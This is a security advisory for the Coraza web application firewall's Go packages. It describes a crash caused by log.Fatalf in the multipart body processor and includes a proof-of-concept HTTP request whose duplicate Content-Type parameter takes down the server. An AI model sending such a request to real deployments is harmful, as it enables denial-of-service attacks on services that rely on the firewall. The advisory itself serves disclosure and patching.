| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/corazawaf/coraza/v2 | ≥ 2.0.0, ≤ 2.0.1all versions | |
| github.com/corazawaf/coraza/v3 | ≥ 3.0.0, < 3.0.1< 3.0.1 | 3.0.1 |
| coraza | = 3.0.0 |
Due to the misuse of log.Fatalf, the application using coraza crashed after receiving crafted requests from attackers.
https://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29
The bodyprocessors of multipart uses log.Fatalf to handle errors from the mime.ParseMediaType, but log.Fatalf calls os.Exit directly after logging the error.
https://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291
This means that the application will immediately crash after receiving a malicious request that triggers an error in mime.ParseMediaType.
The server can be demonstrated by https://github.com/corazawaf/coraza/tree/main/examples/http-server
After sending this request
POST / HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: curl/8.1.2
Accept: */*
Content-Length: 199
Content-Type: multipart/form-data; boundary=------------------------5fa6351b877326a1; a=1; a=2
Connection: close
--------------------------5fa6351b877326a1
Content-Disposition: form-data; name="file"; filename="123"
Content-Type: application/octet-stream
123
--------------------------5fa6351b877326a1--
The server will crash immediately. The a=1; a=2 in Content-Type makes mime: duplicate parameter name error.
I believe the vulnerability was introduced by the following commit: https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec.
The error from mime.ParseMediaType should return directly.
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